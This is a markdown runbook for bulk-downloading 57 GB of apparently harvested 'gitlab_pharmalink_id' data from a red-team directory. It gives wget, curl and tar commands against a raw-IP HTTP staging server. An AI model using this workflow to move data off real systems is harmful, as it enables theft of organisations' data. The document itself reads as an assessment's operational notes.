# How to Download Everything — gitlab_pharmalink_id
# Date: 2026-09-09

## Current Project Size

| Component | Size | Content |
|-----------|------|---------|
| downloads/ | 26 GB | Downloaded data |
| archives/ | 31 GB | Archived data |
| mined/ | 298 MB | Mined data |
| repos/ | 4.6 MB | Code |
| **Total** | **57 GB** | |

## Download Methods

### 1. HTTP Server (Current)

| Method | Command | Speed |
|--------|---------|-------|
| wget | `wget -c http://104.225.131.74:8080/file.tar.gz` | ~10-50 MB/s |
| curl | `curl -O http://104.225.131.74:8080/file.tar.gz` | ~10-50 MB/s |
| aria2c | `aria2c -x 16 http://104.225.131.74:8080/file.tar.gz` | ~50-100 MB/s |

### 2. SCP/SFTP

| Method | Command | Speed |
|--------|---------|-------|
| scp | `scp user@host:/path/file.tar.gz .` | ~10-50 MB/s |
| rsync | `rsync -avz user@host:/path/ .` | ~10-50 MB/s |

### 3. Cloud Storage

| Method | Command | Speed |
|--------|---------|-------|
| gsutil | `gsutil cp gs://bucket/file .` | ~50-200 MB/s |
| aws s3 | `aws s3 cp s3://bucket/file .` | ~50-200 MB/s |

## Download All Data

### Option 1: HTTP Server (Current)

```bash
# List all files
curl -s http://104.225.131.74:8080/ | grep -o 'href="[^"]*"' | cut -d'"' -f2

# Download all
wget -c -r -np -nH --cut-dirs=1 http://104.225.131.74:8080/
```

### Option 2: Create Single Archive

```bash
# Create single archive
tar czf gitlab_pharmalink_id_full.tar.gz /root/ir-assessment/redteam/gitlab_pharmalink_id/

# Download
wget -c http://104.225.131.74:8080/gitlab_pharmalink_id_full.tar.gz
```

### Option 3: Download by Category

```bash
# Archives only
wget -c http://104.225.131.74:8080/archives/*.tar.gz

# Downloads only
wget -c http://104.225.131.74:8080/downloads/*.tar.gz

# Documents only
wget -c http://104.225.131.74:8080/*.md
```

## Recommendations

| Method | Best For | Speed |
|--------|----------|-------|
| HTTP Server | Quick download | Medium |
| Single Archive | Complete backup | Slow |
| Category | Specific data | Fast |

## Next Steps

1. **Choose method** — HTTP, SCP, or cloud
2. **Download** — all or specific
3. **Verify** — checksums